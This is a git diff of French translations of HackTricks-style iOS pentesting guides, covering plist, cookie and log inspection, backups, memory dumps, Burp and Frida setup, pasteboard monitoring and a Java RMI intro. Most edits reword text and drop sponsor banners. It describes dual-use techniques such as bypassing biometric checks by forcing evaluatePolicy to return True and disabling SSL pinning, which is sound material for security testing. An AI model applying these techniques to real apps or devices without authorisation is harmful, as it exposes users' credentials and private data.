des **informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après une utilisation intensive pour voir si de nouvelles données sont écrites. +Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est un moyen de stocker des données persistantes, donc parfois vous pouvez trouver **des informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après les avoir utilisés intensivement pour voir si de nouvelles données sont écrites. -La manière la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré dans le bac à sable de l'application dans **`Library/Preferences/.plist`** +La façon la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré à l'intérieur du bac à sable de l'application dans **`Library/Preferences/.plist`** -La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement en fonction des **préférences de l'utilisateur**. Les données enregistrées par `NSUserDefaults` peuvent être consultées dans le bundle de l'application. Cette classe stocke des **données** dans un **fichier plist**, mais elle est destinée à être utilisée avec de petites quantités de données. +La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement en fonction des **préférences de l'utilisateur**. Les données enregistrées par `NSUserDefaults` peuvent être consultées dans le bundle de l'application. Cette classe stocke **des données** dans un **fichier plist**, mais elle est destinée à être utilisée avec de petites quantités de données. Ces données ne peuvent plus être accessibles directement via un ordinateur de confiance, mais peuvent être accessibles en effectuant une **sauvegarde**. -Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** avec la commande `ios nsuserdefaults get` d'objection. +Vous pouvez **dumper** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get` Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à `/private/var/mobile/Containers/Data/Application/{APPID}` et exécuter : ```bash find ./ -name "*.plist" ``` -Pour convertir des fichiers au format **XML ou binaire (bplist)** en XML, diverses méthodes selon votre système d'exploitation sont disponibles : +Pour convertir des fichiers au format **XML ou binaire (bplist)** en XML, plusieurs méthodes selon votre système d'exploitation sont disponibles : **Pour les utilisateurs de macOS :** Utilisez la commande `plutil`. C'est un outil intégré dans macOS (10.2+), conçu à cet effet : ```bash @@ -498,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Cookies -iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le **fichier de cookie mentionné peut être accessible dans les sauvegardes**. +iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le **fichier de cookies mentionné peut être accessible dans les sauvegardes**. Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou utiliser **`ios cookies get`** d'objection.\ **Vous pouvez également utiliser objection pour** convertir ces fichiers en format JSON et inspecter les données. @@ -595,7 +584,7 @@ Pour extraire ces identifiants stockés, la commande `ios nsurlcredentialstorage ## **Claviers personnalisés et cache de clavier** -Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données vers des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles. +Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données à des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles. **Recommandations de sécurité :** @@ -623,7 +612,7 @@ Malgré ces restrictions, un **attaquant ayant un accès physique** à un appare Pour atténuer les risques, il est conseillé de **interagir en profondeur avec l'application**, en explorant toutes ses fonctionnalités et entrées pour s'assurer qu'aucune information sensible n'est enregistrée par inadvertance. -Lors de l'examen du code source de l'application à la recherche de fuites potentielles, recherchez à la fois des **déclarations de logging** **prédéfinies** et **personnalisées** en utilisant des mots-clés tels que `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` pour les fonctions intégrées, et toute mention de `Logging` ou `Logfile` pour les implémentations personnalisées. +Lors de l'examen du code source de l'application pour d'éventuelles fuites, recherchez à la fois des **déclarations de logging** **prédéfinies** et **personnalisées** en utilisant des mots-clés tels que `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` pour les fonctions intégrées, et toute mention de `Logging` ou `Logfile` pour les implémentations personnalisées. ### **Monitoring System Logs** @@ -636,26 +625,16 @@ sont utiles. De plus, **Xcode** offre un moyen de collecter des journaux de cons 1. Ouvrez Xcode. 2. Connectez l'appareil iOS. -3. Accédez à **Window** -> **Devices and Simulators**. +3. Accédez à **Fenêtre** -> **Appareils et simulateurs**. 4. Sélectionnez votre appareil. 5. Déclenchez le problème que vous enquêtez. -6. Utilisez le bouton **Open Console** pour voir les journaux dans une nouvelle fenêtre. +6. Utilisez le bouton **Ouvrir la console** pour voir les journaux dans une nouvelle fenêtre. Pour un journalisation plus avancée, se connecter au shell de l'appareil et utiliser **socat** peut fournir une surveillance des journaux en temps réel : ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -Suivi des commandes pour observer les activités des journaux, ce qui peut être inestimable pour diagnostiquer des problèmes ou identifier des fuites potentielles de données dans les journaux. - ---- - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} +Suivi des commandes pour observer les activités de journal, ce qui peut être inestimable pour diagnostiquer des problèmes ou identifier des fuites potentielles de données dans les journaux. ## Sauvegardes @@ -686,7 +665,7 @@ Des informations sensibles peuvent être recherchées à l'aide d'outils en lign ... ``` -Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [dépôt GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe. +Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [répertoire GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe. ### Modification du Comportement de l'Application @@ -694,7 +673,7 @@ Un exemple de modification du comportement d'une application par le biais de mod ## Résumé sur les Tests de Mémoire pour les Données Sensibles -Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, notamment le risque de manquer des données critiques lors du processus de dump ou d'analyse. +Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, y compris le risque de manquer des données critiques lors du processus de dump ou d'analyse. ## **Récupération et Analyse d'un Dump de Mémoire** @@ -716,7 +695,7 @@ $ r2 ``` ## **Analyse de la mémoire à l'exécution** -**r2frida** offre une alternative puissante pour inspecter la mémoire d'une application en temps réel, sans avoir besoin d'un dump de mémoire. Cet outil permet l'exécution de commandes de recherche directement sur la mémoire de l'application en cours d'exécution : +**r2frida** offre une alternative puissante pour inspecter la mémoire d'une application en temps réel, sans avoir besoin d'un dump mémoire. Cet outil permet l'exécution de commandes de recherche directement sur la mémoire de l'application en cours d'exécution : ```bash $ r2 frida://usb// [0x00000000]> /\ @@ -743,9 +722,9 @@ Pour **plus d'informations** sur les API et bibliothèques cryptographiques iOS, ## Authentification Locale -L'**authentification locale** joue un rôle crucial, surtout lorsqu'il s'agit de protéger l'accès à un point de terminaison distant par des méthodes cryptographiques. L'essence ici est que sans une mise en œuvre appropriée, les mécanismes d'authentification locale peuvent être contournés. +L'**authentification locale** joue un rôle crucial, surtout lorsqu'il s'agit de protéger l'accès à un point de terminaison distant par des méthodes cryptographiques. L'essentiel ici est que sans une mise en œuvre appropriée, les mécanismes d'authentification locale peuvent être contournés. -Le [**framework d'authentification locale**](https://developer.apple.com/documentation/localauthentication) d'Apple et le [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fournissent des API robustes pour permettre aux développeurs de faciliter les dialogues d'authentification des utilisateurs et de gérer en toute sécurité les données secrètes, respectivement. Le Secure Enclave sécurise l'ID d'empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques. +Le [**framework d'authentification locale d'Apple**](https://developer.apple.com/documentation/localauthentication) et le [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fournissent des API robustes pour permettre aux développeurs de faciliter les dialogues d'authentification des utilisateurs et de gérer en toute sécurité les données secrètes, respectivement. Le Secure Enclave sécurise l'ID d'empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques. Pour intégrer Touch ID/Face ID, les développeurs ont deux choix d'API : @@ -753,7 +732,7 @@ Pour intégrer Touch ID/Face ID, les développeurs ont deux choix d'API : - **`Security.framework`** pour un accès aux services de keychain de bas niveau, sécurisant les données secrètes avec une authentification biométrique. Divers [wrappers open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) simplifient l'accès au keychain. > [!CAUTION] -> Cependant, à la fois `LocalAuthentication.framework` et `Security.framework` présentent des vulnérabilités, car ils retournent principalement des valeurs booléennes sans transmettre de données pour les processus d'authentification, les rendant susceptibles d'être contournés (voir [Don't touch me that way, par David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +> Cependant, à la fois `LocalAuthentication.framework` et `Security.framework` présentent des vulnérabilités, car ils renvoient principalement des valeurs booléennes sans transmettre de données pour les processus d'authentification, les rendant susceptibles d'être contournés (voir [Don't touch me that way, par David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). ### Mise en œuvre de l'authentification locale @@ -762,15 +741,15 @@ Pour demander aux utilisateurs une authentification, les développeurs doivent u - **`deviceOwnerAuthentication`** : Demande Touch ID ou code d'accès de l'appareil, échouant si aucun des deux n'est activé. - **`deviceOwnerAuthenticationWithBiometrics`** : Demande exclusivement Touch ID. -Une authentification réussie est indiquée par une valeur de retour booléenne de **`evaluatePolicy`**, soulignant une potentielle faille de sécurité. +Une authentification réussie est indiquée par une valeur de retour booléenne de **`evaluatePolicy`**, soulignant une faille de sécurité potentielle. ### Authentification locale utilisant le Keychain La mise en œuvre de l'**authentification locale** dans les applications iOS implique l'utilisation des **API de keychain** pour stocker en toute sécurité des données secrètes telles que des jetons d'authentification. Ce processus garantit que les données ne peuvent être accessibles que par l'utilisateur, en utilisant son code d'accès de l'appareil ou une authentification biométrique comme Touch ID. -Le keychain offre la capacité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou code d'accès de l'appareil. Cette fonctionnalité est cruciale pour améliorer la sécurité. +Le keychain offre la possibilité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou le code d'accès de l'appareil. Cette fonctionnalité est cruciale pour améliorer la sécurité. -Voici des exemples de code en Swift et Objective-C démontrant comment enregistrer et récupérer une chaîne dans/le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil sur lequel elles ont été configurées, sous la condition qu'un code d'accès de l'appareil soit configuré. +Voici des exemples de code en Swift et Objective-C démontrant comment enregistrer et récupérer une chaîne dans/le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil sur lequel elles ont été configurées, à condition qu'un code d'accès de l'appareil soit configuré. {{#tabs}} {{#tab name="Swift"}} @@ -912,7 +891,7 @@ Si `Security.framework` est utilisé, seul le second sera affiché. #### **Objection** -Grâce au **Objection Biometrics Bypass**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux. +Grâce au **Objection Biometrics Bypass**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à utiliser **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux. Pour activer ce contournement, la commande suivante est utilisée : ```bash @@ -1050,13 +1029,13 @@ Vous pouvez également utiliser **objection's** `ios sslpinning disable` ## Divers -- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système -- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`** -- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur +- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système. +- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`**. +- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur. - Vous pouvez accéder à **`/User/Library/Notes/notes.sqlite`** pour lire les notes sauvegardées dans l'application. - Dans le dossier d'une application installée (**`/User/Applications//`**), vous pouvez trouver des fichiers intéressants : -- **`iTunesArtwork`** : L'icône utilisée par l'application -- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store +- **`iTunesArtwork`** : L'icône utilisée par l'application. +- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store. - **`/Library/*`** : Contient les préférences et le cache. Dans **`/Library/Cache/Snapshots/*`**, vous pouvez trouver le snapshot effectué sur l'application avant de l'envoyer en arrière-plan. ### Hot Patching/Mise à Jour Forcée @@ -1071,7 +1050,7 @@ Un défi significatif avec les **SDK tiers** est le **manque de contrôle granul Les services fournis par les SDK tiers peuvent inclure le suivi du comportement des utilisateurs, l'affichage de publicités ou l'amélioration de l'expérience utilisateur. Cependant, cela introduit un risque car les développeurs peuvent ne pas être pleinement conscients du code exécuté par ces bibliothèques, ce qui entraîne des risques potentiels pour la confidentialité et la sécurité. Il est crucial de limiter les informations partagées avec les services tiers à ce qui est nécessaire et de s'assurer qu'aucune donnée sensible n'est exposée. -La mise en œuvre de services tiers se présente généralement sous deux formes : une bibliothèque autonome ou un SDK complet. Pour protéger la vie privée des utilisateurs, toutes les données partagées avec ces services doivent être **anonymisées** pour éviter la divulgation d'informations personnellement identifiables (PII). +L'implémentation de services tiers se présente généralement sous deux formes : une bibliothèque autonome ou un SDK complet. Pour protéger la vie privée des utilisateurs, toutes les données partagées avec ces services doivent être **anonymisées** pour éviter la divulgation d'Informations Personnellement Identifiables (PII). Pour identifier les bibliothèques utilisées par une application, la commande **`otool`** peut être employée. Cet outil doit être exécuté contre l'application et chaque bibliothèque partagée qu'elle utilise pour découvrir des bibliothèques supplémentaires. ```bash @@ -1105,11 +1084,5 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
-\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) pour créer facilement et **automatiser des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 58fb7e2a2..44418c374 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,31 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} - ## Installation du certificat Burp sur les appareils iOS Pour l'analyse sécurisée du trafic web et le SSL pinning sur les appareils iOS, Burp Suite peut être utilisé soit via le **Burp Mobile Assistant**, soit par configuration manuelle. Voici un guide résumé sur les deux méthodes : ### Installation automatisée avec Burp Mobile Assistant -Le **Burp Mobile Assistant** simplifie le processus d'installation du certificat Burp, de la configuration du proxy et du SSL Pinning. Des instructions détaillées peuvent être trouvées dans la [documentation officielle de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). +Le **Burp Mobile Assistant** simplifie le processus d'installation du certificat Burp, de la configuration du proxy et du SSL Pinning. Des instructions détaillées peuvent être trouvées dans [la documentation officielle de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). ### Étapes d'installation manuelle 1. **Configuration du proxy :** Commencez par définir Burp comme proxy dans les paramètres Wi-Fi de l'iPhone. -2. **Téléchargement du certificat :** Accédez à `http://burp` sur le navigateur de votre appareil pour télécharger le certificat. +2. **Téléchargement du certificat :** Accédez à `http://burp` dans le navigateur de votre appareil pour télécharger le certificat. 3. **Installation du certificat :** Installez le profil téléchargé via **Réglages** > **Général** > **VPN et gestion des appareils**, puis activez la confiance pour le CA PortSwigger dans **Paramètres de confiance des certificats**. ### Configuration d'un proxy d'interception -La configuration permet l'analyse du trafic entre l'appareil iOS et Internet via Burp, nécessitant un réseau Wi-Fi qui prend en charge le trafic client à client. Si cela n'est pas disponible, une connexion USB via usbmuxd peut servir d'alternative. Les tutoriels de PortSwigger fournissent des instructions détaillées sur la [configuration de l'appareil](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) et [l'installation du certificat](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). +La configuration permet l'analyse du trafic entre l'appareil iOS et Internet via Burp, nécessitant un réseau Wi-Fi qui prend en charge le trafic client à client. Si cela n'est pas disponible, une connexion USB via usbmuxd peut servir d'alternative. Les tutoriels de PortSwigger fournissent des instructions détaillées sur [la configuration de l'appareil](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) et [l'installation du certificat](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). ### Configuration avancée pour les appareils jailbreakés @@ -58,7 +50,7 @@ La procédure implique plusieurs étapes clés : $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` -3. Après l'identification de l'UDID, **Wireshark** doit être ouvert et l'interface "rvi0" sélectionnée pour la capture de données. +3. Après l'identification du UDID, **Wireshark** doit être ouvert et l'interface "rvi0" sélectionnée pour la capture de données. 4. Pour un monitoring ciblé, comme la capture du trafic HTTP lié à une adresse IP spécifique, les filtres de capture de Wireshark peuvent être utilisés : ## Installation du Certificat Burp dans le Simulateur @@ -69,7 +61,7 @@ Dans _Proxy_ --> _Options_ --> _Exporter le certificat CA_ --> _Certificat au fo ![](<../../images/image (534).png>) -- **Glisser-déposer** le certificat dans l'Émulateur +- **Glisser et Déposer** le certificat dans l'Émulateur - **Dans l'émulateur**, allez à _Réglages_ --> _Général_ --> _Profil_ --> _PortSwigger CA_, et **vérifiez le certificat** - **Dans l'émulateur**, allez à _Réglages_ --> _Général_ --> _À propos_ --> _Paramètres de confiance des certificats_, et **activez PortSwigger CA** @@ -77,7 +69,7 @@ Dans _Proxy_ --> _Options_ --> _Exporter le certificat CA_ --> _Certificat au fo **Félicitations, vous avez configuré avec succès le Certificat CA Burp dans le simulateur iOS** -> [!NOTE] +> [!NOTE] > **Le simulateur iOS utilisera les configurations de proxy de MacOS.** ### Configuration du Proxy MacOS @@ -90,13 +82,7 @@ Dans _Proxy_ --> _Options_ --> _Exporter le certificat CA_ --> _Certificat au fo ![](<../../images/image (431).png>) -- Cliquez sur _**Ok**_ puis sur _**Appliquer**_ +- Cliquez sur _**Ok**_ puis sur _**Appliquer**_ -
-\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) pour construire et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 8ed10bfec..267f69b2b 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## Installation de Frida @@ -297,7 +292,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example > [!CAUTION] > Dans ce cas, nous **ne redémarrons pas l'application ni ne restaurons l'état** après chaque payload. Donc, si Frida trouve un **crash**, les **entrées suivantes** après ce payload pourraient également **faire planter l'application** (car l'application est dans un état instable) même si l'**entrée ne devrait pas faire planter** l'application. > -> De plus, Frida s'accrochera aux signaux d'exception d'iOS, donc lorsque **Frida trouve un crash**, probablement un **rapport de crash iOS ne sera pas généré**. +> De plus, Frida s'accrochera aux signaux d'exception d'iOS, donc lorsque **Frida trouve un crash**, probablement des **rapports de crash iOS ne seront pas générés**. > > Pour éviter cela, par exemple, nous pourrions redémarrer l'application après chaque crash de Frida. @@ -331,7 +326,7 @@ Vous pouvez vérifier les plantages dans : - `~/Library/Logs/DiagnosticReports` > [!WARNING] -> iOS ne stocke que 25 plantages de la même application, vous devez donc nettoyer cela ou iOS cessera de créer des plantages. +> iOS ne stocke que 25 plantages de la même application, donc vous devez nettoyer cela ou iOS cessera de créer des plantages. ## Frida Android Tutorials @@ -343,10 +338,5 @@ Vous pouvez vérifier les plantages dans : - [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index a58a368ec..36c76f36e 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -1,18 +1,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - Le partage de données au sein et entre les applications sur les appareils iOS est facilité par le mécanisme [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), qui est divisé en deux catégories principales : -- **Presse-papiers général à l'échelle du système** : Cela est utilisé pour partager des données avec **n'importe quelle application** et est conçu pour persister les données à travers les redémarrages de l'appareil et les désinstallations d'applications, une fonctionnalité disponible depuis iOS 10. +- **Presse-papiers général à l'échelle du système** : Ceci est utilisé pour partager des données avec **n'importe quelle application** et est conçu pour persister les données à travers les redémarrages de l'appareil et les désinstallations d'applications, une fonctionnalité disponible depuis iOS 10. - **Presse-papiers personnalisés / nommés** : Ceux-ci sont spécifiquement destinés au partage de données **au sein d'une application ou avec une autre application** qui partage le même ID d'équipe, et ne sont pas conçus pour persister au-delà de la durée du processus d'application qui les crée, suivant les changements introduits dans iOS 10. **Les considérations de sécurité** jouent un rôle significatif lors de l'utilisation des presse-papiers. Par exemple : - Il n'existe aucun mécanisme permettant aux utilisateurs de gérer les autorisations des applications pour accéder au **presse-papiers**. -- Pour atténuer le risque de surveillance non autorisée en arrière-plan du presse-papiers, l'accès est restreint lorsque l'application est au premier plan (depuis iOS 9). +- Pour atténuer le risque de surveillance non autorisée en arrière-plan du presse-papiers, l'accès est restreint aux moments où l'application est au premier plan (depuis iOS 9). - L'utilisation de presse-papiers nommés persistants est découragée au profit de conteneurs partagés en raison de préoccupations en matière de confidentialité. - La fonctionnalité **Universal Clipboard** introduite avec iOS 10, permettant de partager du contenu entre les appareils via le presse-papiers général, peut être gérée par les développeurs pour définir l'expiration des données et désactiver le transfert automatique de contenu. @@ -39,7 +35,7 @@ Les détails clés à surveiller incluent : - **Nombre d'éléments** et **types de données** présents, en utilisant des vérifications de types de données standard et personnalisés. - **Options d'expiration et locales uniquement** en inspectant la méthode `setItems:options:`. -Un exemple d'utilisation d'outil de surveillance est le **moniteur de presse-papiers d'objection**, qui interroge le generalPasteboard toutes les 5 secondes pour détecter des changements et affiche les nouvelles données. +Un exemple d'utilisation d'outil de surveillance est le **moniteur de presse-papiers d'objection**, qui interroge le generalPasteboard toutes les 5 secondes pour détecter les changements et affiche les nouvelles données. Voici un exemple simple de script JavaScript, inspiré de l'approche d'objection, pour lire et enregistrer les changements du presse-papiers toutes les 5 secondes : ```javascript @@ -78,8 +74,5 @@ console.log(items) - [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 91f2b6370..482d103bf 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) pour créer et **automatiser des workflows** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - ## Informations de base -_L'invocation de méthode distante Java_, ou _Java RMI_, est un mécanisme _RPC_ orienté objet qui permet à un objet situé dans une _machine virtuelle Java_ d'appeler des méthodes sur un objet situé dans une autre _machine virtuelle Java_. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à _Java RMI_ d'un point de vue offensif peut être trouvée dans [cette conférence blackhat](https://youtu.be/t_aw1mDNhzI?t=202). +_Java Remote Method Invocation_, ou _Java RMI_, est un mécanisme _RPC_ orienté objet qui permet à un objet situé dans une _machine virtuelle Java_ d'appeler des méthodes sur un objet situé dans une autre _machine virtuelle Java_. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à _Java RMI_ d'un point de vue offensif peut être trouvée dans [this blackhat 